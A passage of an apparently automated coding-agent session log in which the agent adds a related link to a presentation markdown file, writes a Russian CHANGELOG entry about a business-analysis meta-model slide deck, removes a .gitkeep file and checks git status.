\u0441\u0442\u0438\u043b\u0435 Assertion-Evidence (\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f Midjourney/DALL-E) \u0438 [\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md) \u0441 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c \u00ab\u043f\u043e\u0447\u0435\u043c\u0443\u00bb \u0438 \u00ab\u043a\u0430\u043a\u00bb, \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u0430\u043c\u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f. \u0421\u044e\u0436\u0435\u0442 \u2014 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 `mango_ba_prompts` (69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430) \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u00ab\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb, \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 5 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0443 \u0438 fail-closed, \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441 \u0447\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c (GigaCode CLI, Cline) \u043a \u0421\u0440\u0435\u0434\u0435 4 \u0441 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f. \u0412\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0444\u0430\u043a\u0442\u043e\u0432 `research/ba-requirements` \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u043d\u0435\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435 (\u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439, \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0431\u043e\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 MCP \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb) \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c.\\n'''\\nanchor='### Added\\\\n\\\\n'\\nassert anchor in t; open(c,'w').write(t.replace(anchor,anchor+entry,1))\\nEOF\\ngit rm -q .gitkeep; git status --short; tail -3 /tmp/tep.log\",\n[2026-09-29T08:00:21.634Z] [INFO]           \"description\": \"Add related link, CHANGELOG entry, remove .gitkeep\"\n[2026-09-29T08:00:21.634Z] [INFO]         },\n[2026-09-29T08:00:21.634Z] [INFO]         \"caller\": {\n[2026-09-29T08:00:21.634Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:00:21.634Z] [INFO]         }\n[2026-09-29T08:00:21.634Z] [INFO]       }\n[2026-09-29T08:00:21.634Z] [INFO]     ],\n[2026-09-29T08:00:21.634Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:21.634Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:21.634Z] [INFO]       \"cache_creation_input_tokens\": 1031,\n[2026-09-29T08:00:21.634Z] [INFO]       \"cache_read_input_tokens\": 78068,\n[2026-09-29T08:00:21.634Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:21.634Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:21.634Z] [INFO]         \"ephemeral_1h_input_tokens\": 1031\n[2026-09-29T08:00:21.634Z] [INFO]       },\n[2026-09-29T08:00:21.634Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T08:00:21.634Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:21.634Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:21.634Z] [INFO]     },\n[2026-09-29T08:00:21.634Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:21.634Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:21.634Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:21.634Z] [INFO]   },\n[2026-09-29T08:00:21.634Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:21.634Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"uuid\": \"c23dd261-ee9e-489b-a288-6c4210183f2d\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:21.592Z\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"request_id\": \"req_011CfXNtF1inCpU74Rm1a1zr\",\n[2026-09-29T08:00:21.634Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:00:21.634Z] [INFO]     \"toolu_01LjGDZtyDjizYHtmDahqXdG\": {\n[2026-09-29T08:00:21.634Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md'\\nt=open(p).read()\\na='  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\\\nrelated_issues:'\\nb='  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/ba-meta-model-overview.md\\\"\\\\nrelated_issues:'\\nassert a in t; open(p,'w').write(t.replace(a,b,1))\\nc='CHANGELOG.md'; t=open(c).read()\\nentry='''- projects: [\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md) (issue [#646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)) \u2014 \u043f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432: \u0448\u0430\u0431\u043b\u043e\u043d \u0438\u0437 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence (\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f Midjourney/DALL-E) \u0438 [\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md) \u0441 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c \u00ab\u043f\u043e\u0447\u0435\u043c\u0443\u00bb \u0438 \u00ab\u043a\u0430\u043a\u00bb, \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u0430\u043c\u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f. \u0421\u044e\u0436\u0435\u0442 \u2014 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 `mango_ba_prompts` (69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430) \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u00ab\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb, \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 5 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0443 \u0438 fail-closed, \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441 \u0447\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c (GigaCode CLI, Cline) \u043a \u0421\u0440\u0435\u0434\u0435 4 \u0441 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f. \u0412\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0444\u0430\u043a\u0442\u043e\u0432 `research/ba-requirements` \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u043d\u0435\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435 (\u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439, \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0431\u043e\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 MCP \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb) \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c.\\n'''\\nanchor='### Added\\\\n\\\\n'\\nassert anchor in t; open(c,'w').write(t.replace(anchor,anchor+entry,1))\\nEOF\\ngit rm -q .gitkeep; git status --short; tail -3 /tmp/tep.log\",\n[2026-09-29T08:00:21.634Z] [INFO]       \"description\": \"Add related link, CHANGELOG entry, remove .gitkeep\"\n[2026-09-29T08:00:21.634Z] [INFO]     }\n[2026-09-29T08:00:21.634Z] [INFO]   }\n[2026-09-29T08:00:21.634Z] [INFO] }\n[2026-09-29T08:00:24.946Z] [INFO] {\n[2026-09-29T08:00:24.946Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"task_id\": \"barsd0bi0\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"tool_use_id\": \"toolu_01LjGDZtyDjizYHtmDahqXdG\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"description\": \"Add related link, CHANGELOG entry, remove .gitkeep\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T08:00:24.946Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"uuid\": \"344b39a0-c5a3-4e0f-8c71-2f66c6228f8a\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:00:24.946Z] [INFO] }\n[2026-09-29T08:00:25.476Z] [INFO] {\n[2026-09-29T08:00:25.476Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"task_id\": \"barsd0bi0\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"tool_use_id\": \"toolu_01LjGDZtyDjizYHtmDahqXdG\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"summary\": \"Add related link, CHANGELOG entry, remove .gitkeep\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"uuid\": \"f1164701-a1aa-4486-82b1-9c0e5a324df2\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:00:25.476Z] [INFO] }\n[2026-09-29T08:00:26.111Z] [INFO] {\n[2026-09-29T08:00:26.111Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:00:26.111Z] [INFO]   \"message\": {\n[2026-09-29T08:00:26.111Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:00:26.111Z] [INFO]     \"content\": [\n[2026-09-29T08:00:26.111Z] [INFO]       {\n[2026-09-29T08:00:26.111Z] [INFO]         \"tool_use_id\": \"toolu_01LjGDZtyDjizYHtmDahqXdG\",\n[2026-09-29T08:00:26.111Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:00:26.111Z] [INFO]         \"content\": \"D  .gitkeep\\n M CHANGELOG.md\\n M projects/ba-ai-process/README.md\\n?? projects/ba-ai-process/docs/presentation/\\nProduct taxonomy compilation check passed (2 Source snapshots + 2 Distribution copies).\",\n[2026-09-29T08:00:26.111Z] [INFO]         \"is_error\": false\n[2026-09-29T08:00:26.111Z] [INFO]       }\n[2026-09-29T08:00:26.111Z] [INFO]     ]\n[2026-09-29T08:00:26.111Z] [INFO]   },\n[2026-09-29T08:00:26.111Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:26.111Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:26.111Z] [INFO]   \"uuid\": \"1fb65b72-12d8-47c1-975b-e205eb4bd2b7\",\n[2026-09-29T08:00:26.111Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:26.049Z\",\n[2026-09-29T08:00:26.111Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:00:26.111Z] [INFO]     \"stdout\": \"D  .gitkeep\\n M CHANGELOG.md\\n M projects/ba-ai-process/README.md\\n?? projects/ba-ai-process/docs/presentation/\\nProduct taxonomy compilation check passed (2 Source snapshots + 2 Distribution copies).\",\n[2026-09-29T08:00:26.111Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:00:26.111Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:00:26.111Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:00:26.111Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:00:26.111Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T08:00:26.111Z] [INFO]       \"files\": [\n[2026-09-29T08:00:26.111Z] [INFO]         {\n[2026-09-29T08:00:26.111Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T08:00:26.111Z] [INFO]           \"hunks\": [\n[2026-09-29T08:00:26.111Z] [INFO]             {\n[2026-09-29T08:00:26.111Z] [INFO]               \"oldStart\": 12,\n[2026-09-29T08:00:26.111Z] [INFO]               \"oldLines\": 6,\n[2026-09-29T08:00:26.111Z] [INFO]               \"newStart\": 12,\n[2026-09-29T08:00:26.111Z] [INFO]               \"newLines\": 7,\n[2026-09-29T08:00:26.111Z] [INFO]               \"lines\": [\n[2026-09-29T08:00:26.111Z] [INFO]                 \"   - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"   - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"   - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"+  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/ba-meta-model-overview.md\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" related_issues:\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"   - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" ---\"\n[2026-09-29T08:00:26.111Z] [INFO]               ]\n[2026-09-29T08:00:26.111Z] [INFO]             }\n[2026-09-29T08:00:26.111Z] [INFO]           ]\n[2026-09-29T08:00:26.111Z] [INFO]         },\n[2026-09-29T08:00:26.111Z] [INFO]         {\n[2026-09-29T08:00:26.111Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/CHANGELOG.md\",\n[2026-09-29T08:00:26.111Z] [INFO]           \"hunks\": [\n[2026-09-29T08:00:26.111Z] [INFO]             {\n[2026-09-29T08:00:26.111Z] [INFO]               \"oldStart\": 13,\n[2026-09-29T08:00:26.111Z] [INFO]               \"oldLines\": 6,\n[2026-09-29T08:00:26.111Z] [INFO]               \"newStart\": 13,\n[2026-09-29T08:00:26.111Z] [INFO]               \"newLines\": 7,\n[2026-09-29T08:00:26.111Z] [INFO]               \"lines\": [\n[2026-09-29T08:00:26.111Z] [INFO]                 \" \",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" ### Added\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" \",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"+- projects: [\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md) (issue [#646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)) \u2014 \u043f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432: \u0448\u0430\u0431\u043b\u043e\u043d \u0438\u0437 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence (\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f Midjourney/DALL-E) \u0438 [\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md) \u0441 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c \u00ab\u043f\u043e\u0447\u0435\u043c\u0443\u00bb \u0438 \u00ab\u043a\u0430\u043a\u00bb, \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u0430\u043c\u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f. \u0421\u044e\u0436\u0435\u0442 \u2014 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 `mango_ba_prompts` (69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430) \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u00ab\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb, \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 5 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0443 \u0438 fail-closed, \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441 \u0447\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c (GigaCode CLI, Cline) \u043a \u0421\u0440\u0435\u0434\u0435 4 \u0441 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f. \u0412\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0444\u0430\u043a\u0442\u043e\u0432 `research/ba-requirements` \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u043d\u0435\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435 (\u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439, \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0431\u043e\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 MCP \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb) \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c.\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" - projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f GigaCode-\u043f\u0430\u043a\u0435\u0442\u0430 `junior-guide.md` \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439](projects/ba-ai-process/dist/execution-package-gigacode-cli/docs/guides/README.md) \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Cline-\u043f\u0430\u043a\u0435\u0442\u0430 (issue [#638](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/638)): \u043e\u0431\u0437\u043e\u0440 \u0438 